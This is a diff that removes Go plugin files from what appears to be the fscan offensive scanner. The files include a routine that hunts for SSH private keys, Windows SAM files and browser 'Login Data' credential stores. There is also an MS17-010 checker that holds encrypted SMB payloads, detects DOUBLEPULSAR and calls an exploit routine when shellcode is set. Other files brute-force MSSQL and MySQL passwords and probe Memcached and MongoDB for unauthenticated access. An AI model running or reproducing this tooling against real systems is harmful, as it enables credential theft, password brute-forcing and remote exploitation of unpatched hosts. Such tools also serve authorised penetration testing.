"/etc/apache2/sites-enabled/*",
|
||||
"/etc/apache2/sites-available/*",
|
||||
"/etc/apache2/apache2.conf",
|
||||
|
||||
// Nginx配置
|
||||
"/etc/nginx/nginx.conf",
|
||||
"/etc/nginx/conf.d/nginx.conf",
|
||||
|
||||
// 系统配置文件
|
||||
"/etc/hosts.deny",
|
||||
"/etc/bashrc",
|
||||
"/etc/issue",
|
||||
"/etc/issue.net",
|
||||
"/etc/ssh/ssh_config",
|
||||
"/etc/termcap",
|
||||
"/etc/xinetd.d/*",
|
||||
"/etc/mtab",
|
||||
"/etc/vsftpd/vsftpd.conf",
|
||||
"/etc/xinetd.conf",
|
||||
"/etc/protocols",
|
||||
"/etc/logrotate.conf",
|
||||
"/etc/ld.so.conf",
|
||||
"/etc/resolv.conf",
|
||||
"/etc/sysconfig/network",
|
||||
"/etc/sendmail.cf",
|
||||
"/etc/sendmail.cw",
|
||||
|
||||
// proc信息
|
||||
"/proc/mounts",
|
||||
"/proc/cpuinfo",
|
||||
"/proc/meminfo",
|
||||
"/proc/self/environ",
|
||||
"/proc/1/cmdline",
|
||||
"/proc/1/mountinfo",
|
||||
"/proc/1/fd/*",
|
||||
"/proc/1/exe",
|
||||
"/proc/config.gz",
|
||||
|
||||
// 用户配置文件
|
||||
"/root/.ssh/authorized_keys",
|
||||
"/root/.ssh/id_rsa",
|
||||
"/root/.ssh/id_rsa.keystore",
|
||||
"/root/.ssh/id_rsa.pub",
|
||||
"/root/.ssh/known_hosts",
|
||||
"/root/.bash_history",
|
||||
"/root/.mysql_history",
|
||||
}
|
||||
|
||||
// Windows系统关键配置文件
|
||||
windowsSystemPaths = []string{
|
||||
"C:\\boot.ini",
|
||||
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
|
||||
"C:\\windows\\repair\\sam",
|
||||
"C:\\windows\\system32\\config\\sam",
|
||||
}
|
||||
)
|
||||
|
||||
func LocalInfoScan(info *Common.HostInfo) (err error) {
|
||||
fmt.Println("[+] LocalInfo扫描模块开始...")
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err)
|
||||
Common.LogError(errlog)
|
||||
return err
|
||||
}
|
||||
|
||||
// 扫描固定位置
|
||||
scanFixedLocations(home)
|
||||
|
||||
// 规则搜索
|
||||
searchSensitiveFiles()
|
||||
|
||||
fmt.Println("[+] LocalInfo扫描模块结束...")
|
||||
return nil
|
||||
}
|
||||
|
||||
func scanFixedLocations(home string) {
|
||||
var paths []string
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
// 添加Windows固定路径
|
||||
paths = append(paths, windowsSystemPaths...)
|
||||
paths = append(paths, []string{
|
||||
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"),
|
||||
filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
||||
}...)
|
||||
|
||||
case "linux":
|
||||
// 添加Linux固定路径
|
||||
paths = append(paths, linuxSystemPaths...)
|
||||
paths = append(paths, []string{
|
||||
filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"),
|
||||
filepath.Join(home, ".mozilla", "firefox"),
|
||||
}...)
|
||||
}
|
||||
|
||||
for _, path := range paths {
|
||||
// 处理通配符路径
|
||||
if strings.Contains(path, "*") {
|
||||
var _ = strings.ReplaceAll(path, "*", "")
|
||||
if files, err := filepath.Glob(path); err == nil {
|
||||
for _, file := range files {
|
||||
checkAndLogFile(file)
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
checkAndLogFile(path)
|
||||
}
|
||||
}
|
||||
|
||||
func checkAndLogFile(path string) {
|
||||
if _, err := os.Stat(path); err == nil {
|
||||
result := fmt.Sprintf("[+] Found sensitive file: %s", path)
|
||||
Common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
|
||||
func searchSensitiveFiles() {
|
||||
var searchPaths []string
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
// Windows下常见的敏感目录
|
||||
home, _ := os.UserHomeDir()
|
||||
searchPaths = []string{
|
||||
"C:\\Users\\Public\\Documents",
|
||||
"C:\\Users\\Public\\Desktop",
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
"C:\\Program Files",
|
||||
"C:\\Program Files (x86)",
|
||||
}
|
||||
case "linux":
|
||||
// Linux下常见的敏感目录
|
||||
home, _ := os.UserHomeDir()
|
||||
searchPaths = []string{
|
||||
"/home",
|
||||
"/opt",
|
||||
"/usr/local",
|
||||
"/var/www",
|
||||
"/var/log",
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
}
|
||||
}
|
||||
|
||||
// 在限定目录下搜索
|
||||
for _, searchPath := range searchPaths {
|
||||
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 跳过黑名单目录和文件
|
||||
for _, black := range blacklist {
|
||||
if strings.Contains(strings.ToLower(path), black) {
|
||||
return filepath.SkipDir
|
||||
}
|
||||
}
|
||||
|
||||
// 检查白名单关键词
|
||||
for _, white := range whitelist {
|
||||
fileName := strings.ToLower(info.Name())
|
||||
if strings.Contains(fileName, white) {
|
||||
result := fmt.Sprintf("[+] Found potential sensitive file: %s", path)
|
||||
Common.LogSuccess(result)
|
||||
break
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,231 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"log"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
// SMB协议加密的请求数据
|
||||
negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
|
||||
sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
|
||||
treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
|
||||
transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
|
||||
trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
|
||||
|
||||
// SMB协议解密后的请求数据
|
||||
negotiateProtocolRequest []byte
|
||||
sessionSetupRequest []byte
|
||||
treeConnectRequest []byte
|
||||
transNamedPipeRequest []byte
|
||||
trans2SessionSetupRequest []byte
|
||||
)
|
||||
|
||||
func init() {
|
||||
var err error
|
||||
|
||||
// 解密协议请求
|
||||
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
|
||||
if err != nil {
|
||||
log.Fatalf("解密协议请求失败: %v", err)
|
||||
}
|
||||
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
log.Fatalf("解码协议请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 解密会话请求
|
||||
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
|
||||
if err != nil {
|
||||
log.Fatalf("解密会话请求失败: %v", err)
|
||||
}
|
||||
sessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
log.Fatalf("解码会话请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 解密连接请求
|
||||
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
|
||||
if err != nil {
|
||||
log.Fatalf("解密连接请求失败: %v", err)
|
||||
}
|
||||
treeConnectRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
log.Fatalf("解码连接请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 解密管道请求
|
||||
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
|
||||
if err != nil {
|
||||
log.Fatalf("解密管道请求失败: %v", err)
|
||||
}
|
||||
transNamedPipeRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
log.Fatalf("解码管道请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 解密会话设置请求
|
||||
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
|
||||
if err != nil {
|
||||
log.Fatalf("解密会话设置请求失败: %v", err)
|
||||
}
|
||||
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
log.Fatalf("解码会话设置请求失败: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// MS17010 扫描入口函数
|
||||
func MS17010(info *Common.HostInfo) error {
|
||||
// 暴力破解模式下跳过扫描
|
||||
if Common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 执行MS17-010漏洞扫描
|
||||
err := MS17010Scan(info)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err))
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
// MS17010Scan 执行MS17-010漏洞扫描
|
||||
func MS17010Scan(info *Common.HostInfo) error {
|
||||
ip := info.Host
|
||||
|
||||
// 连接目标445端口
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置连接超时
|
||||
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 发送SMB协议协商请求
|
||||
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply := make([]byte, 1024)
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
// 检查协议响应状态
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
// 发送会话建立请求
|
||||
if _, err = conn.Write(sessionSetupRequest); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
// 检查会话响应状态
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return errors.New("无法确定目标是否存在漏洞")
|
||||
}
|
||||
|
||||
// 提取操作系统信息
|
||||
var os string
|
||||
sessionSetupResponse := reply[36:n]
|
||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n != int(byteCount)+45 {
|
||||
fmt.Printf("[-] %s:445 MS17010无效的会话响应\n", ip)
|
||||
} else {
|
||||
// 查找Unicode字符串结束标记(两个连续的0字节)
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
os = string(sessionSetupResponse[10:i])
|
||||
os = strings.Replace(os, string([]byte{0x00}), "", -1)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 获取用户ID
|
||||
userID := reply[32:34]
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
|
||||
// 发送树连接请求
|
||||
if _, err = conn.Write(treeConnectRequest); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
// 获取树ID并设置后续请求
|
||||
treeID := reply[28:30]
|
||||
transNamedPipeRequest[28] = treeID[0]
|
||||
transNamedPipeRequest[29] = treeID[1]
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
// 发送命名管道请求
|
||||
if _, err = conn.Write(transNamedPipeRequest); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
// 检查漏洞状态
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
// 目标存在MS17-010漏洞
|
||||
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os))
|
||||
|
||||
// 如果指定了shellcode,执行漏洞利用
|
||||
defer func() {
|
||||
if Common.SC != "" {
|
||||
MS17010EXP(info)
|
||||
}
|
||||
}()
|
||||
|
||||
// 检测DOUBLEPULSAR后门
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
trans2SessionSetupRequest[29] = treeID[1]
|
||||
trans2SessionSetupRequest[32] = userID[0]
|
||||
trans2SessionSetupRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if reply[34] == 0x51 {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s 存在DOUBLEPULSAR后门", ip))
|
||||
}
|
||||
} else {
|
||||
// 未检测到漏洞,仅输出系统信息
|
||||
Common.LogSuccess(fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os))
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MssqlScan 执行MSSQL服务扫描
|
||||
func MssqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.IsBrute {
|
||||
return
|
||||
}
|
||||
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
// 尝试用户名密码组合
|
||||
for _, user := range Common.Userdict["mssql"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
// 替换密码中的用户名占位符
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
flag, err := MssqlConn(info, user, pass)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 记录错误信息
|
||||
errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
tmperr = err
|
||||
|
||||
if Common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
|
||||
// 超时检查
|
||||
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mssql"])*len(Common.Passwords)) * Common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// MssqlConn 尝试MSSQL连接
|
||||
func MssqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port, username, password := info.Host, info.Ports, user, pass
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造连接字符串
|
||||
connStr := fmt.Sprintf(
|
||||
"server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v",
|
||||
host, username, password, port, timeout,
|
||||
)
|
||||
|
||||
// 建立数据库连接
|
||||
db, err := sql.Open("mssql", connStr)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
// 设置连接参数
|
||||
db.SetConnMaxLifetime(timeout)
|
||||
db.SetConnMaxIdleTime(timeout)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
// 测试连接
|
||||
if err = db.Ping(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 连接成功
|
||||
result := fmt.Sprintf("[+] MSSQL %v:%v:%v %v", host, port, username, password)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
@@ -1,48 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MemcachedScan 检测Memcached未授权访问
|
||||
func MemcachedScan(info *Common.HostInfo) error {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 建立TCP连接
|
||||
client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
// 设置超时时间
|
||||
if err := client.SetDeadline(time.Now().Add(timeout)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 发送stats命令
|
||||
if _, err := client.Write([]byte("stats\n")); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
rev := make([]byte, 1024)
|
||||
n, err := client.Read(rev)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
|
||||
Common.LogError(errlog)
|
||||
return err
|
||||
}
|
||||
|
||||
// 检查响应内容
|
||||
if strings.Contains(string(rev[:n]), "STAT") {
|
||||
result := fmt.Sprintf("[+] Memcached %s 未授权访问", realhost)
|
||||
Common.LogSuccess(result)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,108 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MongodbScan 执行MongoDB未授权扫描
|
||||
func MongodbScan(info *Common.HostInfo) error {
|
||||
if Common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
_, err := MongodbUnauth(info)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err)
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
// MongodbUnauth 检测MongoDB未授权访问
|
||||
func MongodbUnauth(info *Common.HostInfo) (bool, error) {
|
||||
// MongoDB查询数据包
|
||||
msgPacket := createOpMsgPacket()
|
||||
queryPacket := createOpQueryPacket()
|
||||
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
|
||||
// 尝试OP_MSG查询
|
||||
reply, err := checkMongoAuth(realhost, msgPacket)
|
||||
if err != nil {
|
||||
// 失败则尝试OP_QUERY查询
|
||||
reply, err = checkMongoAuth(realhost, queryPacket)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
|
||||
// 检查响应结果
|
||||
if strings.Contains(reply, "totalLinesWritten") {
|
||||
result := fmt.Sprintf("[+] MongoDB %v 未授权访问", realhost)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// checkMongoAuth 检查MongoDB认证状态
|
||||
func checkMongoAuth(address string, packet []byte) (string, error) {
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", address, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置超时时间
|
||||
if err := conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// 发送查询包
|
||||
if _, err := conn.Write(packet); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply := make([]byte, 1024)
|
||||
count, err := conn.Read(reply)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
return string(reply[:count]), nil
|
||||
}
|
||||
|
||||
// createOpMsgPacket 创建OP_MSG查询包
|
||||
func createOpMsgPacket() []byte {
|
||||
return []byte{
|
||||
0x69, 0x00, 0x00, 0x00, // messageLength
|
||||
0x39, 0x00, 0x00, 0x00, // requestID
|
||||
0x00, 0x00, 0x00, 0x00, // responseTo
|
||||
0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG
|
||||
0x00, 0x00, 0x00, 0x00, // flagBits
|
||||
// sections db.adminCommand({getLog: "startupWarnings"})
|
||||
0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
|
||||
}
|
||||
}
|
||||
|
||||
// createOpQueryPacket 创建OP_QUERY查询包
|
||||
func createOpQueryPacket() []byte {
|
||||
return []byte{
|
||||
0x48, 0x00, 0x00, 0x00, // messageLength
|
||||
0x02, 0x00, 0x00, 0x00, // requestID
|
||||
0x00, 0x00, 0x00, 0x00, // responseTo
|
||||
0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY
|
||||
0x00, 0x00, 0x00, 0x00, // flags
|
||||
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd
|
||||
0x00, 0x00, 0x00, 0x00, // numberToSkip
|
||||
0x01, 0x00, 0x00, 0x00, // numberToReturn
|
||||
// query db.adminCommand({getLog: "startupWarnings"})
|
||||
0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
|
||||
}
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MysqlScan 执行MySQL服务扫描
|
||||
func MysqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.IsBrute {
|
||||
return
|
||||
}
|
||||
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
// 尝试用户名密码组合
|
||||
for _, user := range Common.Userdict["mysql"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
// 替换密码中的用户名占位符
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
flag, err := MysqlConn(info, user, pass)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 记录错误信息
|
||||
errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
tmperr = err
|
||||
|
||||
if Common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
|
||||
// 超时检查
|
||||
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mysql"])*len(Common.Passwords)) * Common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// MysqlConn 尝试MySQL连接
|
||||
func MysqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port, username, password := info.Host, info.Ports, user, pass
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造连接字符串
|
||||
connStr := fmt.Sprintf(
|
||||
"%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v",
|
||||
username, password, host, port, timeout,
|
||||
)
|
||||
|
||||
// 建立数据库连接
|
||||
db, err := sql.Open("mysql", connStr)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
// 设置连接参数
|
||||
db.SetConnMaxLifetime(timeout)
|
||||
db.SetConnMaxIdleTime(timeout)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
// 测试连接
|
||||
if err = db.Ping(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 连接成功
|
||||
result := fmt.Sprintf("[+] MySQL %v:%v:%v %v", host, port, username, password)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
@@ -1,367 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"gopkg.in/yaml.v3"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var errNetBIOS = errors.New("netbios error")
|
||||
|
||||
func NetBIOS(info *Common.HostInfo) error {
|
||||
netbios, _ := NetBIOS1(info)
|
||||
output := netbios.String()
|
||||
if len(output) > 0 {
|
||||
result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output)
|
||||
Common.LogSuccess(result)
|
||||
return nil
|
||||
}
|
||||
return errNetBIOS
|
||||
}
|
||||
|
||||
func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
netbios, err = GetNbnsname(info)
|
||||
var payload0 []byte
|
||||
if netbios.ServerService != "" || netbios.WorkstationService != "" {
|
||||
ss := netbios.ServerService
|
||||
if ss == "" {
|
||||
ss = netbios.WorkstationService
|
||||
}
|
||||
name := netbiosEncode(ss)
|
||||
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
|
||||
payload0 = append(payload0, name...)
|
||||
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
|
||||
}
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
var conn net.Conn
|
||||
conn, err = Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if info.Ports == "139" && len(payload0) > 0 {
|
||||
